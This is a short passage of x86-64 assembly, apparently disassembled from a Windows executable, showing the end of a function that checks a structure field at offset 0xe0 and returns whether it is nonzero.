ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret